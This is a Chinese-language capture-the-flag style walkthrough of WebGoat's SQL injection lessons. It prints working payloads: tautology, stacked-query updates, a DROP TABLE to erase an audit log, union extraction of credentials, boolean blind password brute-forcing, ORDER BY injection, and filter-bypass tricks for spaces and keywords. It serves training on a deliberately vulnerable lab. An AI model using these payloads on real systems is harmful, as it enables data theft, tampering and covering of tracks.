WebGoat 靶场通关笔记 Injection
Injection
SQL Injection (intro)
2
SQL查询语句 select
。
1 | select department from employees where userid=96134; |
3
sql修改语句 update
。
1 | update employees set department='Sales' where userid=89762; |
4
sql修改数据库,修改表结构 alter
。
1 | alter table employees add column phone varchar(20); |
5
sql权限控制 grant
。将表grant_rights的权限授予unauthorized_user。
1 | grant select, insert, update, delete on grant_rights to unauthorized_user; |
9
字符型注入。闭合单引号,实现注入,从而查询到数据库表的所有记录。
10
数值型注入。不需要闭合引号,直接注入,从而查询到数据库表的所有记录。
注意:SQL语言认为 and 运算符的运算级别要高于 or 运算符。
所以:
1 | # 注入到第一个参数时,无法实现永真 |
11
该系统要求员工使用一个独特的认证TAN来查看他们的数据。
需要闭合单引号,实现注入,从而查询到数据库表的所有记录。
1 | # 闭合第二个参数的单引号,注入永真条件。 |
12
堆叠查询注入。通过分号分割执行多条sql语句。
需要执行sql修改John Smith的收入,TAN号是3SL99A。
1 | # 第二个参数:闭合单引号,追加堆叠语句update修改数据库记录。 |
13
access_log表记录了所有数据修改操作,删除掉表中与你之前的修改数据相关的记录,来隐藏痕迹。
题目实际上是要求把access_log表整个删除,因此可以用DROP TABLE。
注意:
1 | delete 语句是数据库操作语言(dml),事务提交之后才生效,可以回滚。 |
1 | # 输入框闭合注入(-- 是注释,此处用来注释掉最后无法闭合的字符%') |
SQL Injection (advanced)
3
联合查询 union select
操作。来查询其他表的数据。
1 | # 通过union select语句(注意,前后的查询字段数和字段类型要一致,字段数少的可以用null补位) |
5
注册页面的用户名输入框(username_reg属性)存在注入。需要通过注入爆破数据库,从而得到tom的用户密码进行登录。
根据fuzz注入测试的返回包,判断注入类型。
1 | # 说明用户名不是Tom |
将注册请求的数据包保存为 1.txt
,文件内容如下:
1 | PUT /WebGoat/SqlInjectionAdvanced/challenge HTTP/1.1 |
使用 sqlmap
自动测试一下:
1 | python sqlmap.py -r 1.txt |
说明存在布尔型注入。发几个数据包,手动确认一下返回值:
1 | # 正确返回值 |
通过以上测试证明确实存在布尔型注入,并且对应true和false的返回值也可以确定了。
那么你一定想直接sqlmap爆数据库?,然鹅,白费功夫,爆不出来的!可以自测。
手工注入yyds!
猜测存在密码字段:
1 | # 密码字段名:password |
爆破password长度:
1 | # 密码字段名:password |
爆破password每一位字符:
1 | username_reg=tom' and substr(password,{{int(1-23)}},1)='{{char(0-z)}}'--+ |
最后得到密码:thisisasecretfortomonly
。到登录页面登录即可。
最初,没思路看了下hint提示,然后被误导了。
它提示:表名在WebGoat的每次启动时都是随机的,请先尝试找出名称。然后使用该字段更改密码。
按照这个提示要爆破数据库名和表名再爆每条记录,但是数据库表太多,工作量实在巨大。虽然理论上也是可行的,下面简单说下思路。
首先,爆破数据库名长度:
1 | username_reg=tom'+and+length(database())={{int(1-50)}}--+ |
可知数据库名长度为 37
。
爆破数据库名的每个字符:
1 | # 分别截取1-37开始的1位字符,判断是从0x21-0x7e的字符中的哪一个 |
可知数据库名为:C:\Users\xxx/.webgoat-2023.8\\webgoat
。这他喵的不是代码部署的路径吗?不对劲,还是换个方式查所有数据库名吧。
查所有数据库名,通过group_concat拼接,爆破总长度:
1 | username_reg=tom' and length((select group_concat(schema_name) from information_schema.schemata))={{int(1-100)}}--+ |
爆破每个数据库名长度,通过分割符逗号的位置来看:
1 | username_reg=tom' and substr((select group_concat(schema_name) from information_schema.schemata),{{int(0-79)}},1)=','--+ |
那么数据库名长度依次是 9,18,6,11,10,10,9
。
而HSQLDB自带的数据库包括:INFORMATION_SCHEMA,PUBLIC,SYSTEM_LOBS,正好长度是18,6,11,那10-48这段范围的字符串可以不爆破了。
爆破其余的数据库名:
1 | username_reg=tom' and substr((select group_concat(schema_name) from information_schema.schemata),{{int(0-9)}},1)='{{char(0-z)}}'--+ |
最后得到所有数据库名:
1 | CONTAINER |
至于后边的爆破就是类似重复的干苦力了。
6
回答安全问题。
淦,还是看不到题目。参考上面的CIA Triad解决吧。
答案:4,3,2,3,4
SQL Injection (mitigation)
5
完成代码,使其不再容易受到SQL注入的攻击!
1 | Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW); |
6
使用JDBC连接到数据库并从中请求数据。
要求:
- 连接到数据库
- 对不受SQL注入攻击的数据库执行查询
- 查询需要至少包含一个字符串参数
提示:
- 为了连接到数据库,您可以简单地假设给定的常量DBURL、DBUSER和DBPW。
- 查询的内容无关紧要,只要SQL是有效的并且满足要求即可。
- 您编写的所有代码都插入到一个名为“TestClass”的Java类的主方法中,该类已经为您导入了Java.sql.*。
1 | try { |
9
仅输入验证是不够的!需要同时使用参数化查询和校验用户输入。
首先,尝试注入,按照题目要求实现查询另一个表user_system_data的数据。此时,会显示禁止了空格。
1 | ' union select USERID,USER_NAME,PASSWORD,COOKIE,null,null,null from user_system_data;--+ |
那么,这里就要考虑绕过对空格的过滤。
SQL注入绕过空格的一般思路:
- 用多行注释/**/替代。
- 用其他空白字符(%20 %09 %0a %0b %0c %0d %a0 %00等)。
- 用两个空格替代。
- 用括号()替代。在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
使用上面的思路进行fuzz绕过测试:
可以得知通过字符 %09,%0a,%0b,%0c,%0d,/**/
中的任意一个来替代空格都是可以成功注入的。
用 /**/
替换空格的payload如下:
1 | # union方法 |
注意:由于 %
是特殊字符,直接填到输入框的 %
字符,在发送请求过程中会被转义为 %25
,会导致替代空格失效。这个问题可以通过使用bp等工具发送请求包来解决。但是,此时还需要将 +
号替换为对应的url编码 %2b
!
1 | # union方法 |
10
仅输入验证是不够的!
此题进一步加强了输入校验。依然是要实现查询另一个表user_system_data的数据。
首先,进行注入测试:
1 | ';select * from user_system_data;--+ |
可见,空格、/和SQL的关键字都被过滤了。
使用上一题的空格替代方法,发现可以成功绕过空格过滤。
1 | ';select/**/*/**/from/**/user_system_data;--+ |
那么,这里还需要考虑绕过对关键字的过滤。
SQL注入绕过关键字的一般思路:
- 大小写绕过
- 双写绕过
- and和or可以用&&、||替换
- 关键字内插入/**/
- 内联注释绕过(把一些特有的仅在MYSQL上的语句放在
/*!...*/
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行) - 关键字内插入<>(如果有些网站为了防止xss可能过滤<>)
使用上面的思路进行fuzz绕过测试:
由上可知,此处双写绕过是可行的。
可用的payload如下:
1 | # union方法 |
12
尝试通过ORDERBY字段执行SQL注入。
需要查找webgoat prd服务器的ip地址,题目给出了ip地址最后一部分:xxx.130.219.202
。
既然是ORDERBY字段,肯定是排序功能。网页中存在如下的区域,明显是与排序相关的。随便点击一个排序后,查看发送的数据包,可以发现是根据字段名排序。
尝试对该排序的参数进行注入:
可以看到出现的错误中,显示了执行的sql语句:
1 | select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by ip' |
所以该字段可以进行注入,只需替换该字段的值即可。
补充知识:
order by后的表达式可以是select语句,也可以是函数。例如,使用case语句,我们可以向数据库询问一些问题:
1 | SELECT * FROM users ORDER BY (CASE WHEN(TRUE) THEN lastname ELSE firstname) |
那么我们可以构造如下参数值:
1 | # 查询server表中hostname为题目指定的webgoat-prd的记录的ip值,对ip值进行字符串按位截取,并判断每一位字符。如果字符比较成功就按照hostname排序,否则按照ip排序。 |
此处因为默认order by是升序排列的,并且hostname排序和ip排序结果不一样,可以作为区分条件。
hostname排序:3142
,ip排序:2314
。
那么实际执行的SQL语句就是:
1 | select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by (case+when(substring((select+ip+from+servers+where+hostname='webgoat-prd'),1,1)='{{int(0-9)}}')+then+hostname+else+ip+end) |
找到when条件为true的,即结果是按照hostname排序的响应,即可知道实际的ip地址每一位字符。
所以,webgoat prd服务器的ip地址为:104.130.219.202
。